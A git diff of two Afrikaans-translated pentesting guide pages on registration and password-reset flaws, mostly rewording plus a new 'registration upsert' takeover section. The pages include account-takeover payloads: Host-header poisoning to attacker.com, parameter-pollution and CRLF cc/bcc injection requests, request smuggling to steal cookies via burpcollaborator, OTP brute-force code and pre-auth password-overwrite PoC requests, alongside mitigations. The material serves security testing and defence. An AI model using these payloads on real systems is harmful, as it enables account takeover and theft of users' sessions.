diff --git a/src/pentesting-web/registration-vulnerabilities.md b/src/pentesting-web/registration-vulnerabilities.md
index 26f993b54..e1a9d1911 100644
--- a/src/pentesting-web/registration-vulnerabilities.md
+++ b/src/pentesting-web/registration-vulnerabilities.md
@@ -1,79 +1,79 @@
-# Registrasie & Oorname Kw vulnerabilities
+# Registrasie- en Oorname-kwesbaarhede
{{#include ../banners/hacktricks-training.md}}
-## Registrasie Oorname
+## Registrasie-oorname
### Dubbele Registrasie
-- Probeer om te genereer met 'n bestaande gebruikersnaam
-- Kontroleer verskillende e-pos:
+- Probeer om te registreer met 'n bestaande gebruikersnaam
+- Kontroleer deur die e-pos te varieer:
- hoofletters
- \+1@
-- voeg 'n punt in die e-pos by
+- voeg 'n punt in die e-pos
- spesiale karakters in die e-pos naam (%00, %09, %20)
-- Sit swart karakters na die e-pos: `test@test.com a`
+- Plaas leë karakters na die e-pos: `test@test.com a`
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
-### Gebruikersnaam Enumerasie
+### Gebruikersnaam-enumerasie
-Kontroleer of jy kan uitvind wanneer 'n gebruikersnaam reeds binne die toepassing geregistreer is.
+Kontroleer of jy kan bepaal wanneer 'n gebruikersnaam reeds in die toepassing geregistreer is.
### Wagwoordbeleid
-Skep 'n gebruiker en kontroleer die wagwoordbeleid (kontroleer of jy swak wagwoorde kan gebruik).\
-In daardie geval kan jy probeer om akrediteer te brute-force.
+Wanneer 'n gebruiker geskep word, kontroleer die wagwoordbeleid (kontroleer of jy swak wagwoorde kan gebruik).\
+In daardie geval kan jy probeer om credentials te bruteforce.
-### SQL Inbraak
+### SQL Injection
-[**Kontroleer hierdie bladsy** ](sql-injection/index.html#insert-statement)om te leer hoe om rekeningoorname te probeer of inligting via **SQL Inbrake** in registrasievorms te onttrek.
+[**Check this page** ](sql-injection/index.html#insert-statement) om te leer hoe om account takeovers te probeer of inligting te onttrek via **SQL Injections** in registrasievorms.
-### Oauth Oornames
+### Oauth Takeovers
{{#ref}}
oauth-to-account-takeover.md
{{#endref}}
-### SAML Kw vulnerabilities
+### SAML Vulnerabilities
{{#ref}}
saml-attacks/
{{#endref}}
-### Verander E-pos
+### Verander e-pos
-Wanneer geregistreer, probeer om die e-pos te verander en kontroleer of hierdie verandering korrek geverifieer word of of jy dit na arbitrêre e-posse kan verander.
+Wanneer geregistreer, probeer om die e-pos te verander en kontroleer of hierdie verandering korrek gevalideer word of of jy dit na ewekansige e-posadresse kan verander.
-### Meer Kontroles
+### Meer kontroles
-- Kontroleer of jy **weggooie e-posse** kan gebruik
+- Kontroleer of jy **wegwerp-e-posse** kan gebruik
- **Lang** **wagwoord** (>200) lei tot **DoS**
-- **Kontroleer koerslimiete op rekeningskepping**
+- Kontroleer rate-limiete op rekeningskep
- Gebruik username@**burp_collab**.net en analiseer die **callback**
-## **Wagwoord Herstel Oornames**
+## **Wagwoordherstel-oorname**
-### Wagwoord Herstel Token Lek Via Verwysing
+### Wagwoordherstel Token Leak Via Referrer
-1. Versoek wagwoord herstel na jou e-posadres
-2. Klik op die wagwoord herstel skakel
-3. Moet nie wagwoord verander nie
-4. Klik op enige 3de party webwerwe (bv: Facebook, twitter)
-5. Intercepteer die versoek in Burp Suite proxy
-6. Kontroleer of die verwysingskop lek wagwoord herstel token.
+1. Versoek 'n wagwoordherstel na jou e-posadres
+2. Klik op die wagwoordherstel-skakel
+3. Moenie die wagwoord verander nie
+4. Klik op enige 3rd-party webwerwe (bv: Facebook, twitter)
+5. Onderbreek die versoek in Burp Suite proxy
+6. Kontroleer of die referer header die password reset token leak
-### Wagwoord Herstel Vergiftiging
+### Password Reset Poisoning
-1. Intercepteer die wagwoord herstel versoek in Burp Suite
-2. Voeg of wysig die volgende koppe in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
-3. Stuur die versoek met die gewysigde kop\
+1. Onderbreek die wagwoordherstel versoek in Burp Suite
+2. Voeg die volgende headers by of wysig in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
+3. Stuur die versoek deur met die gewysigde header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
-4. Soek vir 'n wagwoord herstel URL gebaseer op die _host header_ soos : `https://attacker.com/reset-password.php?token=TOKEN`
+4. Soek na 'n wagwoordherstel-URL gebaseer op die _host header_ soos : `https://attacker.com/reset-password.php?token=TOKEN`
-### Wagwoord Herstel Via E-pos Parameter
+### Wagwoordherstel Via e-pos parameter
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
@@ -90,58 +90,58 @@ email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
-### IDOR op API Parameters
+### IDOR on API Parameters
-1. Aanvaller moet met hul rekening aanmeld en na die **Verander wagwoord** funksie gaan.
-2. Begin die Burp Suite en onderskep die versoek.
-3. Stuur dit na die herhaler tab en wysig die parameters: User ID/e-pos\
+1. Aanvaller moet by sy rekening aanmeld en na die **Verander wagwoord**-funksie gaan.
+2. Begin Burp Suite en onderskep die versoek
+3. Stuur dit na die repeater-oortjie en wysig die parameters: User ID/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
-### Swak Wagwoord Herstel Token
+### Weak Password Reset Token
-Die wagwoord herstel token moet ewekansig gegenereer word en uniek wees elke keer.\
-Probeer om te bepaal of die token verval of as dit altyd dieselfde is, in sommige gevalle is die generasie-algoritme swak en kan dit geraai word. Die volgende veranderlikes mag deur die algoritme gebruik word.
+Die password reset token moet ewekansig gegenereer en elke keer uniek wees.\
+Probeer bepaal of die token verval of altyd dieselfde is; in sommige gevalle is die generasie-algoritme swak en kan geraai word. Die volgende veranderlikes kan deur die algoritme gebruik word.
- Tydstempel
- UserID
-- E-pos van gebruiker
-- Voornaam en Van
-- Geboortedatum
-- Kriptografie
-- Slegs nommer
-- Klein token volgorde (karakters tussen \[A-Z,a-z,0-9])
-- Token hergebruik
-- Token vervaldatum
+- Email of User
+- Firstname and Lastname
+- Date of Birth
+- Cryptography
+- Slegs nommers
+- Small token sequence ( characters between \[A-Z,a-z,0-9])
+- Token reuse
+- Token expiration date
-### Lek van Wagwoord Herstel Token
+### Leaking Password Reset Token
-1. Trigger 'n wagwoord herstel versoek deur die API/UI vir 'n spesifieke e-pos bv: test@mail.com
-2. Ondersoek die bediener se antwoord en kyk vir `resetToken`
-3. Gebruik dan die token in 'n URL soos `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
+1. Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
+2. Inspect the server response and check for `resetToken`
+3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
-### Wagwoord Herstel Deur Gebruikersnaam Botsing
+### Password Reset Via Username Collision
-1. Registreer op die stelsel met 'n gebruikersnaam wat identies is aan die slagoffer se gebruikersnaam, maar met spasie voor en/of na die gebruikersnaam ingevoeg. bv: `"admin "`
-2. Versoek 'n wagwoord herstel met jou kwaadwillige gebruikersnaam.
-3. Gebruik die token wat na jou e-pos gestuur is en herstel die slagoffer se wagwoord.
-4. Sluit aan by die slagoffer se rekening met die nuwe wagwoord.
+1. Registreer op die stelsel met 'n gebruikersnaam identies aan die slagoffer se gebruikersnaam, maar met spasies ingevoeg voor en/of na die gebruikersnaam. e.g: `"admin "`
+2. Vra 'n password reset aan met jou kwaadwillige gebruikersnaam.
+3. Gebruik die token wat na jou e-pos gestuur is en stel die slagoffer se wagwoord terug.
+4. Meld by die slagoffer se rekening aan met die nuwe wagwoord.
Die platform CTFd was kwesbaar vir hierdie aanval.\
-Sien: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
+See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
-### Rekening Oorname Deur Cross Site Scripting
+### Account Takeover Via Cross Site Scripting
-1. Vind 'n XSS binne die toepassing of 'n subdomein as die koekies op die ouerdomein geskope is: `*.domain.com`
-2. Lek die huidige **sessies koekie**
-3. Verifieer as die gebruiker met behulp van die koekie
+1. Vind 'n XSS binne die toepassing of op 'n subdomein as die cookies beperk is tot die ouer-domein: `*.domain.com`
+2. Leak the current **sessions cookie**
+3. Meld as die gebruiker aan deur die cookie te gebruik
-### Rekening Oorname Deur HTTP Versoek Smuggling
+### Account Takeover Via HTTP Request Smuggling
-1\. Gebruik **smuggler** om die tipe HTTP Versoek Smuggling (CL, TE, CL.TE) te detecteer\
+1\. Gebruik **smuggler** om die tipe HTTP Request Smuggling te bepaal (CL, TE, CL.TE)\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
-2\. Stel 'n versoek op wat die `POST / HTTP/1.1` met die volgende data sal oorskryf:\
-`GET http://something.burpcollaborator.net HTTP/1.1 X:` met die doel om die slagoffers na burpcollab te herlei en hul koekies te steel\
-3\. Finale versoek kan soos volg lyk
+2\. Skep 'n versoek wat die `POST / HTTP/1.1` sal oorskryf met die volgende data:\
+`GET http://something.burpcollaborator.net HTTP/1.1 X:` met die doel om 'n open redirect die slagoffers na burpcollab te stuur en hul cookies te steel\
+3\. Die finale versoek kan soos volg lyk
```
GET / HTTP/1.1
Transfer-Encoding: chunked
@@ -153,29 +153,50 @@ Content-Length: 83
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
-Hackerone verslae wat hierdie fout benut\
+Hackerone rapporteer die uitbuiting van hierdie bug\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
-### Rekening Oorname via CSRF
+### Rekeningoorname via CSRF
-1. Skep 'n payload vir die CSRF, bv: “HTML vorm met outomatiese indiening vir 'n wagwoord verandering”
+1. Skep 'n payload vir die CSRF, bv.: “HTML form with auto submit for a password change”
2. Stuur die payload
-### Rekening Oorname via JWT
+### Rekeningoorname via JWT
-JSON Web Token mag gebruik word om 'n gebruiker te verifieer.
+JSON Web Token kan gebruik word om 'n gebruiker te verifieer.
-- Wysig die JWT met 'n ander Gebruiker ID / E-pos
-- Kontroleer vir swak JWT handtekening
+- Wysig die JWT met 'n ander User ID / Email
+- Kontroleer vir swak JWT-handtekening
{{#ref}}
hacking-jwt-json-web-tokens.md
{{#endref}}
-## Verwysings
+## Registrasie-as-Reset (Upsert on Existing Email)
+Sommige signup handlers voer 'n upsert uit wanneer die verskafde email reeds bestaan. As die endpoint 'n minimale body met 'n email en password aanvaar en nie eienaarskapverifikasie afdwing nie, sal die stuur van die slagoffer se email hul password voor authentisering oorskryf.
+
+- Ontdekking: oes endpointname uit gebundelde JS (of mobiele app-verkeer), en fuzz dan basispaaie soos /parents/application/v4/admin/FUZZ met ffuf/dirsearch.
+- Metode-wenke: 'n GET wat boodskappe soos "Only POST request is allowed." teruggee, dui dikwels die korrekte verb aan en dat 'n JSON body verwag word.
+- Minimale body waargeneem in die wild:
+```json
+{"email":"victim@example.com","password":"New@12345"}
+```
+Voorbeeld PoC:
+```http
+POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
+Host: www.target.tld
+Content-Type: application/json
+
+{"email":"victim@example.com","password":"New@12345"}
+```
+Impak: Full Account Takeover (ATO) sonder enige reset token, OTP, of email verification.
+
+## References
+
+- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
- [https://salmonsec.com/cheatsheet/account_takeover](https://salmonsec.com/cheatsheet/account_takeover)
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md
index 219e5518e..cbeaf4ad2 100644
--- a/src/pentesting-web/reset-password.md
+++ b/src/pentesting-web/reset-password.md
@@ -1,12 +1,12 @@
-# Reset/Forgotten Password Bypass
+# Wagwoord Herstel / Vergete Wagwoord Omseiling
{{#include ../banners/hacktricks-training.md}}
## **Password Reset Token Leak Via Referrer**
-- Die HTTP referer header kan die password reset token leak as dit in die URL ingesluit is. Dit kan gebeur wanneer 'n gebruiker op 'n third-party website link klik nadat hy 'n password reset versoek ingedien het.
-- **Impact**: Potensiële account takeover via Cross-Site Request Forgery (CSRF) attacks.
-- **Exploitation**: Om te kontroleer of 'n password reset token in die referer header leak, **request a password reset** na jou email adres en **click the reset link** wat verskaf is. **Do not change your password** onmiddellik. In plaas daarvan, **navigate to a third-party website** (soos Facebook of Twitter) terwyl jy **intercepting the requests using Burp Suite**. Inspekteer die requests om te sien of die **referer header contains the password reset token**, aangesien dit sensitiewe inligting aan derde partye kan blootstel.
+- Die HTTP referer header mag die password reset token leak as dit in die URL ingesluit is. Dit kan gebeur wanneer 'n gebruiker ná die versoek om 'n password reset op 'n skakel na 'n derdeparty-webwerf klik.
+- **Impact**: Potensiële rekeningoorname via Cross-Site Request Forgery (CSRF) attacks.
+- **Exploitation**: Om te kontroleer of 'n password reset token is leaking in die referer header, **versoek 'n password reset** na jou e-posadres en **klik op die reset link** wat verskaf word. **Moet jou wagwoord nie onmiddellik verander** nie. In plaas daarvan, **navigeer na 'n derdeparty-webwerf** (soos Facebook of Twitter) terwyl jy die versoeke **onderskep met Burp Suite**. Inspekteer die versoeke om te sien of die **referer header die password reset token bevat**, aangesien dit sensitiewe inligting aan derde partye kan blootstel.
- **References**:
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
@@ -14,32 +14,32 @@
## **Password Reset Poisoning**
-- Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
-- **Impact**: Lei tot potensiële account takeover deur reset tokens na attackers te leak.
+- Aanvallers kan die Host header manipuleer tydens password reset versoeke om die reset link na 'n kwaadwillige webwerf te laat wys.
+- **Impact**: Lei tot potensiële rekeningoorname deur reset tokens aan aanvallers te leak.
- **Mitigation Steps**:
-- Valideer die Host header teen 'n whitelist van toegelate domeine.
+- Valideer die Host header teen 'n witlys van toegelate domeine.
- Gebruik veilige, server-side metodes om absolute URLs te genereer.
-- **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
+- **Patch**: Gebruik `$_SERVER['SERVER_NAME']` om password reset URLs te konstrueer in plaas van `$_SERVER['HTTP_HOST']`.
- **References**:
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **Password Reset By Manipulating Email Parameter**
-Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
+Aanvallers kan die password reset versoek manipuleer deur addisionele email-parameters by te voeg om die reset link om te lei.
-- Add attacker email as second parameter using &
+- Voeg aanvaller se e-pos as tweede parameter by met behulp van &
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
-- Voeg die attacker email as tweede parameter by deur %20 te gebruik
+- Voeg die aanvaller se email as tweede parameter by deur %20 te gebruik
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
-- Voeg attacker e-pos as tweede parameter by gebruik van |
+- Voeg attacker email as tweede parameter by deur | te gebruik
```php
POST /resetPassword
[...]
@@ -51,72 +51,72 @@ POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
-Voeg attacker email as tweede parameter deur bcc te gebruik
+Voeg die aanvaller se e-pos as tweede parameter by met bcc
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
-- Voeg die aanvaller se e-pos as tweede parameter by met ,
+- Voeg die aanvaller se e-pos as tweede parameter by deur ',' te gebruik
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
-- Voeg attacker email as tweede parameter in die json array
+- Voeg die aanvaller-e-pos as tweede parameter by die json array
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
- **Mitigeringsstappe**:
-- Ontleed en valideer e-posparameters behoorlik aan die bedienerkant.
-- Gebruik prepared statements of parameterized queries om injection-aanvalle te voorkom.
+- Ontleed en valideer email-parameters behoorlik aan die bedienerkant.
+- Gebruik prepared statements of parameterized queries om injection attacks te voorkom.
- **Verwysings**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
-## **Verander e-pos en wagwoord van enige gebruiker deur API-parameters**
+## **Verander email en password van enige gebruiker deur API-parameters**
-- Aanvallers kan e-pos- en wagwoordparameters in API-versoeke wysig om rekeningbewyse te verander.
+- Aanvallers kan email- en password-parameters in API-versoeke wysig om inlogbewyse te verander.
```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
- **Mitigasiestappe**:
-- Verseker streng parametervalidasie en authentiseringskontroles.
-- Implementeer robuuste logging en monitering om verdagte aktiwiteite te identifiseer en daarop te reageer.
-- **Verwysing**:
+- Verseker streng parameter-validasie en verifikasiekontroles.
+- Implementeer robuuste logging en monitering om verdagte aktiwiteite op te spoor en daarop te reageer.
+- **Referensie**:
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **Geen Rate Limiting: Email Bombing**
-- Afwesigheid van rate limiting op password reset-versoeke kan lei tot email bombing, wat die gebruiker oorstroom met reset-e-posse.
+- Die gebrek aan rate limiting op password reset-versoeke kan lei tot email bombing, wat die gebruiker oorweldig met reset-e-posse.
- **Mitigasiestappe**:
-- Voer rate limiting in gebaseer op IP-adres of gebruikersrekening.
+- Implementeer rate limiting gebaseer op IP adres of user account.
- Gebruik CAPTCHA-uitdagings om geoutomatiseerde misbruik te voorkom.
- **Verwysings**:
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
## **Vind uit hoe Password Reset Token gegenereer word**
-- Om die patroon of metode agter token-generering te verstaan kan lei tot die voorspel of brute-forcing van tokens. Sommige opsies:
+- Deur die patroon of metode agter token-generasie te verstaan, kan dit lei tot voorspelling of brute-force van tokens. Sommige opsies:
- Gebaseer op Timestamp
- Gebaseer op die UserID
-- Gebaseer op email van User
-- Gebaseer op Firstname en Lastname
+- Gebaseer op die e-pos van die gebruiker
+- Gebaseer op Firstname and Lastname
- Gebaseer op Date of Birth
-- Gebaseer op kriptografie
+- Gebaseer op Cryptography
- **Mitigasiestappe**:
-- Gebruik sterk, kriptografiese metodes vir token-generering.
-- Verseker voldoende ewekansigheid en lengte om voorspelbaarheid te voorkom.
-- **Gereedskap**: Gebruik Burp Sequencer om die ewekansigheid van tokens te ontleed.
+- Gebruik sterk, cryptographic-metodes vir token-generasie.
+- Verseker voldoende randomness en lengte om voorspelbaarheid te voorkom.
+- **Tools**: Gebruik Burp Sequencer om die randomness van tokens te analiseer.
-## **Voorspelbare UUID**
+## **Guessable UUID**
-- As UUIDs (version 1) voorspelbaar is, kan aanvallers dit brute-force om geldige reset tokens te genereer. Kyk:
+- As UUIDs (version 1) raadbaar of voorspelbaar is, kan aanvallers dit brute-forseer om geldige reset tokens te genereer. Kyk:
{{#ref}}
@@ -124,55 +124,55 @@ uuid-insecurities.md
{{#endref}}
- **Mitigasiestappe**:
-- Gebruik GUID version 4 vir ewekansigheid of implementeer addisionele sekuriteitsmaatreëls vir ander weergawes.
-- **Gereedskap**: Gebruik [guidtool](https://github.com/intruder-io/guidtool) vir die ontleding en generering van GUIDs.
+- Gebruik GUID version 4 vir randomness of implementeer bykomende sekuriteitsmaatreëls vir ander weergawes.
+- **Tools**: Use [guidtool](https://github.com/intruder-io/guidtool) for analyzing and generating GUIDs.
-## **Response Manipulation: Vervang slegte response met 'n goeie een**
+## **Response Manipulation: Replace Bad Response With Good One**
-- Manipuleer HTTP responses om foutboodskappe of beperkings te omseil.
+- Manipulering van HTTP responses om foutboodskappe of beperkings te omseil.
- **Mitigasiestappe**:
- Implementeer server-side kontroles om response-integriteit te verseker.
- Gebruik veilige kommunikasiekanale soos HTTPS om man-in-the-middle-aanvalle te voorkom.
-- **Verwysing**:
+- **Referensie**:
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
-## **Gebruik van vervalde token**
+## **Gebruik van Verstreke Token**
-- Toets of vervalde tokens steeds gebruik kan word vir password reset.
+- Toets of verstreke tokens nog steeds gebruik kan word vir password reset.
- **Mitigasiestappe**:
- Implementeer streng token-verstrykingbeleid en valideer tokenverstryking server-side.
## **Brute Force Password Reset Token**
-- Poging om die reset token te brute-force met gereedskap soos Burpsuite en IP-Rotator om IP-gebaseerde rate limits te omseil.
+- Poging om die reset token te brute-force met tools soos Burpsuite en IP-Rotator om IP-gebaseerde rate limits te omseil.
- **Mitigasiestappe**:
-- Voer robuuste rate-limiting en rekeningblokkasie-meganismes in.
+- Implementeer robuuste rate-limiting en account lockout-meganismes.
- Monitor vir verdagte aktiwiteite wat op brute-force-aanvalle dui.
-## **Probeer om jou token te gebruik**
+## **Probeer jou token te gebruik**
-- Toets of 'n aanvaller se reset token in samewerking met die slagoffer se e-pos gebruik kan word.
+- Toets of 'n aanvaller se reset token saam met die slagoffer se e-pos gebruik kan word.
- **Mitigasiestappe**:
-- Verseker dat tokens aan die gebruikersessie of ander gebruikerspesifieke eienskappe gebind is.
+- Verseker dat tokens gebind is aan die user session of ander gebruiker-spesifieke eienskappe.
-## **Sessie-invalidering by Logout/Wagwoordherstel**
+## **Sessie Ongeldigmaking by Logout/Password Reset**
-- Verseker dat sessies ongeldig gemaak word wanneer 'n gebruiker uitlog of hul wagwoord herstel.
+- Verseker dat sessies ongeldig gemaak word wanneer 'n gebruiker uitlog of hul password reset.
- **Mitigasiestappe**:
-- Implementeer behoorlike sessiebestuur en verseker dat alle sessies ongeldig gemaak word by uitlog of wagwoordherstel.
+- Implementeer behoorlike sessiebestuur en maak seker dat alle sessies ongeldig gemaak word by logout of password reset.
-## **Sessie-invalidering by Logout/Wagwoordherstel**
+## **Sessie Ongeldigmaking by Logout/Password Reset**
- Reset tokens moet 'n vervaldatum hê waarna hulle ongeldig word.
- **Mitigasiestappe**:
-- Stel 'n redelike vervaltyd vir reset tokens en dwing dit streng af server-side.
+- Stel 'n redelike vervaldatum vir reset tokens en handhaaf dit streng server-side.
## **OTP rate limit bypass deur jou sessie te verander**
-- As die webwerf die gebruikersessie gebruik om verkeerde OTP-pogings te volg en die OTP swak was ( <= 4 syfers), kan ons die OTP effektief brute-force.
-- **Eksploitasie**:
-- vra net 'n nuwe sessietoken aan nadat jy deur die bediener geblokkeer is.
-- **Voorbeeld** kode wat hierdie fout uitbuit deur ewekansig die OTP te raai (wanneer jy die sessie verander sal die OTP ook verander, en dus sal ons nie in staat wees om dit sequentieel te brute-force nie!):
+- As die webwerf die user session gebruik om verkeerde OTP-pogings te spoor en die OTP swak was ( <= 4 syfers), kan ons die OTP effektief brute-force.
+- **eksploitasie**:
+- vra net 'n nuwe session token aan nadat jy deur die bediener geblokkeer is.
+- **Voorbeeld** kode wat hierdie bug uitbuit deur ewekansig die OTP te raai (wanneer jy die sessie verander, sal die OTP ook verander, en dus sal ons nie in staat wees om dit sequentieel brute-force nie!):
``` python
# Authentication bypass by password reset
@@ -231,9 +231,9 @@ except Exception as e:
print("[+] Attck stopped")
```
-## Arbitrêre wagwoordherstel via skipOldPwdCheck (pre-auth)
+## Arbitrêre password reset via skipOldPwdCheck (pre-auth)
-Sommige implementasies stel 'n password change-aksie bloot wat die password-change-roetine aanroep met skipOldPwdCheck=true en wat geen reset token of eienaarskap verifieer nie. As die endpoint 'n action-parameter soos change_password en 'n gebruikersnaam/nuwe wagwoord in die versoekliggaam aanvaar, kan 'n aanvaller arbitrêre rekeninge pre-auth terugstel.
+Sommige implementasies openbaar 'n password change aksie wat die password-change routine aanroep met skipOldPwdCheck=true en nie enige reset token of eienaarskap verifieer nie. As die endpoint 'n action parameter soos change_password en 'n username/new password in die versoekliggaam aanvaar, kan 'n aanvaller arbitrêre rekeninge reset pre-auth.
Kwetsbare patroon (PHP):
```php
@@ -255,21 +255,34 @@ $current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, t
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}
```
-Exploitation versoek (konsep):
+Versoek tot uitbuiting (konsep):
```http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
```
-Verligtingsmaatreëls:
-- Vereis altyd 'n geldige, tydgebonde reset token wat aan die rekening en sessie gekoppel is voordat 'n wagwoord verander word.
-- Moet nooit skipOldPwdCheck paths blootstel aan nie-geauthentiseerde gebruikers nie; vereis dat gebruikers geauthentiseer is vir gewone wagwoordveranderings en verifieer die ou wagwoord.
+Mitigasies:
+- Vereis altyd 'n geldige, tydgebonde reset token wat aan die account en session gekoppel is voordat 'n wagwoord verander word.
+- Moet nooit skipOldPwdCheck paths blootstel aan nie-geauthentiseerde gebruikers nie; vereis geverifieerde toegang vir gewone wagwoordveranderings en verifieer die ou wagwoord.
- Maak alle aktiewe sessies en reset tokens ongeldig na 'n wagwoordverandering.
+## Registration-as-Password-Reset (Upsert on Existing Email)
+
+Sommige toepassings implementeer die signup handler as 'n upsert. As die e-pos reeds bestaan, werk die handler stilweg die user record by in plaas daarvan om die versoek te verwerp. Wanneer die registration endpoint 'n minimale JSON body aanvaar met 'n bestaande e-pos en 'n nuwe wagwoord, word dit effektief 'n pre-auth password reset sonder enige eienaarskapverifikasie, wat volle account takeover moontlik maak.
+
+Pre-auth ATO PoC (overwriting an existing user's password):
+```http
+POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
+Host: www.target.tld
+Content-Type: application/json
+
+{"email":"victim@example.com","password":"New@12345"}
+```
## Verwysings
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
+- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
{{#include ../banners/hacktricks-training.md}}